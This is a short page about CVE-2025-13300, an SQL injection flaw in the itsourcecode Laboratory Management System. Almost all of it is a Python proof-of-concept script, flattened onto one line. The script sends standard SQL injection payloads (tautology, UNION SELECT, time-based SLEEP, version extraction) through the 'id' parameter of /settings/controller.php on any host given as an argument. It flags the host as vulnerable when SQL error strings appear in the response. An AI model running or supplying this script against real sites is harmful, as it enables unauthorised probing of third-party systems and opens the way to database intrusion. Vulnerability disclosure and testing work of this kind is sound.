CVE-2025-13300 itsourcecode实验室管理系统SQL注入漏洞

#!/usr/bin/env python3 # CVE-2025-13300 PoC - itsourcecode Laboratory Management System SQL Injection # Affected: /settings/controller.php import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com/lab' # SQL Injection payloads payloads = [ "' OR '1'='1", "' UNION SELECT NULL,NULL,NULL--", "' AND SLEEP(5)--", "' UNION SELECT 1,version(),3,4--" ] def test_sql_injection(url, payload): """Test for SQL injection vulnerability""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } # Common injection point in settings controller data = { 'id': payload, 'action': 'update' } try: response = requests.post(f'{url}/settings/controller.php', data=data, headers=headers, timeout=10) # Check for SQL error indicators sql_errors = ['mysql', 'sql syntax', 'warning', 'error in your sql'] response_lower = response.text.lower() for error in sql_errors: if error in response_lower: return True, payload return False, None except Exception as e: print(f'Error: {e}') return False, None if __name__ == '__main__': print(f'[*] Testing CVE-2025-13300 on {target}') for payload in payloads: vulnerable, used_payload = test_sql_injection(target, payload) if vulnerable: print(f'[+] Vulnerable! Payload: {used_payload}') break else: print('[-] Not vulnerable or target not reachable')